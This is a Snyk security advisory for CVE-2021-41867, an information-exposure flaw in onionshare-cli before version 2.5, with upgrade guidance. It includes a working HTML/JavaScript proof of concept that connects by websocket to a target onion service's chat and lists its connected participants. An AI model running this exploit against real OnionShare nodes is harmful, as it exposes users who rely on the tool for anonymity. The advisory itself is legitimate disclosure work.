Information Exposure Affecting onionshare-cli package, versions [0,2.5)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-ONIONSHARECLI-1924551
- published21 Nov 2021
- disclosed19 Nov 2021
- creditd0td0tslash
Introduced: 19 Nov 2021
CVE-2021-41867 (opens in a new tab)How to fix?
Upgrade onionshare-cli to version 2.5 or higher.
Overview
onionshare-cli is a software that lets you securely and anonymously send and receive files. It works by starting a web server, making it accessible as a Tor onion service, and generating an unguessable web address so others can download files from you, or upload files to you. It does not require setting up a separate server or using a third party file-sharing service.
Affected versions of this package are vulnerable to Information Exposure via the chat_mode.py file, which allows remote unauthenticated attackers to connect via websocket and to retrieve the full list of participants of a non-public OnionShare node via the --chat feature. The leak of chat participants happened when emitting joined message in the websocket channel.
###PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h1>OnionShare Disclosure of Connected Users PoC</h1>
<ul id="user-list"></ul>
<script src="https://cdn.socket.io/3.1.1/socket.io.min.js" crossorigin="anonymous">
</script>
<script src="https://code.jquery.com/jquery-3.5.1.min.js">
</script>
<script>
$(function () {
$(document).ready(function () {
var socket = io.connect(
'http://<target Onion v3 address>.onion/chat',
{
transports: ['websocket']
}
);
socket.on('connect', function () {
socket.emit('joined', {
}
);
}
);
socket.on('status', function (data) {
var userListHTML = '';
var userslist = data.connected_users;
for (i = 0; i < userslist.length; i++) {
userListHTML += `<li>${userslist[i]}</li>`;
}
$('#user-list').html(userListHTML);
}
);
}
);
}
);
</script>
</body>
</html>